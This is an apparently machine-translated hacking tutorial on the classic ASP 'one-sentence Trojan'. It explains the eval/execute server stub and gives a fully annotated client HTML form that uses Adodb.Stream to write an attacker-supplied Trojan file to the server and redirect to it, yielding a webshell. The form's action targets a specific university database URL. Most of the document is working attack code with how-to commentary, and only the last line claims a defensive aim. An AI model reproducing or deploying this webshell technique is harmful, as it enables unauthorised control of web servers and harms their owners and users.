Eval principle of one-sentence Trojan

<% Eval request ("#") %>

To explain its principles.
The first is the start mark of the JavaScript script. The value of the RUNAT attribute SERVER indicates that the script will run on the SERVER side, and the eval is the essence of a Trojan, if the eval method is used, the strings in it will be executed, so that when the script runs on the server, the Request is also executed. form (#) + this code, Request. form (#) is used to read the part where the name value in the html Tag attribute in the client file is named #. For example, the following code is taken from the client in one sentence:

Set iP = server. createObject ("Adodb. Stream ")
IP. Open
IP. Type = 2
IP. CharSet = "gb2312"
IP. writetext request ("aoyun ")
IP. SaveToFile server. mappath ("aoyunwan. asp"), 2
IP. Close
Set iP = nothing
Response. redirect "aoyunwan. asp"

If you have learned html, you should note that the name attribute in the textarea tag is assigned as #, that is, the server side reads the code (using Request. form (#), and then execute (use eval (Request. form (#) +), that is, the execution:
Set iP = server. createObject ("Adodb. Stream ")
IP. Open
IP. Type = 2
IP. CharSet = "gb2312"
IP. writetext request ("aoyun ")
IP. SaveToFile server. mappath ("aoyunwan. asp"), 2
IP. Close
Set iP = nothing
Response. redirect "aoyunwan. asp"

If you have learned asp, you should understand it. The code above indicates that you first create a stream object ip address, and then use the writetext method of the object to send the request ("aoyun ") the read content (that is, the content in the second textarea tag of the client, that is, our Trojan Code) is written to the server's aoyunwan. in the asp file, use set iP = nothing to release Adodb after writing. stream object and then use response. redirect "aoyunwan. asp "switched to the file that was just written into the trojan code, that is, the last Trojan we saw!

However, the conditions for a Trojan horse to succeed depend on two conditions: 1. The server does not prohibit Adodb. stream component, because we use a single sentence Trojan to write the trojan code, the condition is that the server creates an Adodb. stream component. If this component is disabled, it will not be written successfully! 2. Permission issues. If the current virtual directory disables the user group or everyone write operation, the operation will not succeed.

================

One-sentence Trojan "Server
This is the asp statement we want to use to insert to an asp file (not just a database file suffixed with asp). This statement will be triggered back to receive data submitted by intruders through the client, execute and complete the corresponding operation. The server code content is <% execute request ("value") %> where value can be modified by yourself.

"One-sentence Trojan" client
Used to submit control data to the server. The submitted data is used to form and execute complete asp functional statements through the server, that is, to generate the asp Trojan file we need.

One-sentence Trojan client source file:

It involves some script knowledge, so I will only explain the functions and simple comments, but not in detail. You only need to pay attention to a few points.
**************************************** *******************

<Form action = http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp method = post>
// "Action =" is followed by the submission address of the database named asp that needs to be modified
// This Label means to create a form and submit it to the connection http://cjy.xjife.edu.cn/news/ebook/db/ebook.aspfor processing in post mode.

<Textarea name = value cols = 120 rows = 10 width = 45>
// The value here is set based on the value in server <% execute request ("value") %>
// You can modify it to <% execute request ("p") %> the value here must also be changed to p

Set lP = server. createObject ("Adodb. Stream") // create a Stream object. Only when an object is created can its inherent attributes and methods be used.
LP. Open // Open
LP. Type = 2 // in text format
LP. CharSet = "gb2312" // font Standard
LP. writetext request ("joeving") // obtain the trojan content parameter joeving which can be defined by yourself but must correspond to the following name = joeving
LP. SaveToFile server. mappath ("wei. asp"), 2
// Write Trojan content into wei. asp by overwriting the file
// 2 is the method that has been overwritten. Here, wei. asp can be defined by yourself, for example, 1.asp.
// But consistent with wei. asp in response. redirect "wei. asp" below
LP. Close // Close the object
Set lP = nothing // release the object
Response. redirect "wei. asp" // The generated wei. asp corresponds to the preceding wei. asp, which is your familiar asp Trojan login interface.
</Textarea>
// Functions of this program: Use the <% execute request ("value") %> code inserted to the database file to execute the content in the first textarea, and write and direct the added Trojan content to wei. asp, which is equivalent to creating an asp Trojan file on the server, so that you can obtain webshell.

<Textarea name = joeving cols = 120 rows = 10 width = 45> Add the trojan content/textarea> <BR> <center> <br>
// This tag is used to add Trojan content.

<Input type = submit value = submit>
</Form>

**************************************** *******************

// The main framework of the program is
<Form>
<Textarea> </textarea> // obtain Trojan content and use the no-component upload technology to create an asp Trojan file on the server and display it
<Textarea> </textarea> // used to add Trojan content
</Form>
In fact, they are all very simple html and asp knowledge. You may wish to write your own Trojan client ~~~ Haha

Of course, the purpose of this article is to let everyone know about this technology, so as to better take security measures.